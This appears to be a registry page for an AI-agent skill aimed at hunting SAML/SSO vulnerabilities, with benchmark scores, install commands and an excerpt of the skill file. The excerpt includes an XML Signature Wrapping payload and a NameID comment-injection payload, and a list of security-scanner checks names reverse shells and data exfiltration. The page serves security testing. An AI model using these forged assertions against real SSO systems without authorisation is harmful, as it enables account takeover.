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Find SAML endpoints · elementalsouls | DecimalAI

securityby elementalsouls

Find SAML endpoints

elementalsouls/hunt-saml

Source elementalsouls/claude-bughunter ↗License NOASSERTION

Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID ([email protected]@attacker.com → some parsers see [email protected]), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity win

SkillScore100Maintained

Automatic

Security & AppSec pack

Last verified 8/10/2026

What it changes

Passed 22 of 22 test cases with the skill, and 17 of 22 without it.

Without skill77%

With skill100%

Checks it passed that the model alone missed

Classifies XML comment injection as High severity
Classifies XXE in SAML assertions as High severity
Rates NameID manipulation in the Medium/High severity range

and 2 more in the full report

5 fixed17 passed either way0 still failing0 broke

Pass-rate lift: +23 pp
Tokens: +46%
Agent turns: 0%
Response time: -23%

Model gemini-3.6-flashMeasured 8/10/2026v122 of 22 cases passed with skill

Tokens, turns and time describe resource use, not a dollar price.

Use this skill

Save it into your project's skills folder. Claude Code picks it up in its next session.

curl -fsSL --create-dirs -o .claude/skills/elementalsouls-hunt-saml/SKILL.md https://app.decimal.ai/s/elementalsouls-hunt-saml/SKILL.md

Want it pinned and updatable? pip install "decimalai>=0.15", then decimalai skills add elementalsouls-hunt-saml, and start Claude Code with claude --plugin-dir "$(git rev-parse --show-toplevel)/.agents"

1 · One-time — install the CLI (docs ↗)

pip install "decimalai>=0.15"

2 · Get the skill — writes .agents/skills/elementalsouls-hunt-saml/ and pins it in .decimal/skills.lock

decimalai skills add elementalsouls-hunt-saml

No CLI? Get the same file — curl · raw file

curl -fsSL --create-dirs -o .claude/skills/elementalsouls-hunt-saml/SKILL.md https://app.decimal.ai/s/elementalsouls-hunt-saml/SKILL.md

Raw file: /s/elementalsouls-hunt-saml/SKILL.md ↗ · machine-readable summary at /s/elementalsouls-hunt-saml.json ↗

Safety checks: 3 of 3 passed

Code scan CleanIntent PassedContent Clean

See it in action

One of 5 test cases the skill fixed. Same model, same prompt, with and without the skill.

1 of 5

Prompt

During testing, altering the NameID parameter to generic administrative handles yielded varying access controls based on mapping logic. What severity range applies to NameID manipulation?

What was checked, without and with the skill
Checked	Without skill	With skill
Rates NameID manipulation in the Medium/High severity range	Missed	Passed

case-11 · gemini-3.6-flash · 8/10/2026 · answers are capped and redacted

What's inside

The instructions your model reads when the skill loads.

SKILL.md105 linessingle file

20. SAML / SSO ATTACKS

SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.

Attack Surface

# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback

Attack 1: XML Signature Wrapping (XSW)

<!-- BEFORE: valid assertion by [email protected] -->
<saml:Response>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
  </saml:Assertion>
</saml:Response>

<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
     App processes the FIRST assertion found = evil. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>  <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature><!-- Valid --></ds:Signature>
  </saml:Assertion>
</saml:Response>

Attack 2: Comment Injection in NameID

<!-- Attacker registers/controls account: [email protected] -->
<NameID>[email protected]<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
     digest): "[email protected]" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node

Track record

Benchmark

22 / 22

test cases passed, vs 17 / 22 without

Adoption

Users: 3
Times used: 53

Safety and source details

SkillSafety

✓ 3 of 3 passed

Code scan15 of 15 checks clean

0 critical · 0 warning · 0 info — scanner v4 — 8/3/2026

View 15 scanner checks

live_secretremote_code_executionreverse_shelldata_exfiltrationssrf_metadataagent_snoopinganti_refusaldestructive_commandsobfuscated_unicodeunicode_homoglyphopaque_blobsuspicious_urltool_overreachtrigger_abuseprompt_injection_phrasing

IntentSafe

LLM judge · does the skill do what it claims

ContentClean

LLM judge · policy & harmful-content review

Source

Imported

elementalsouls / claude-bughunter

skills/hunt-saml/SKILL.md

View on GitHub ↗

License NOASSERTIONImported 9/1/2026Version v1

More skills from the same source and nearby in the registry, with their headline benchmark lift.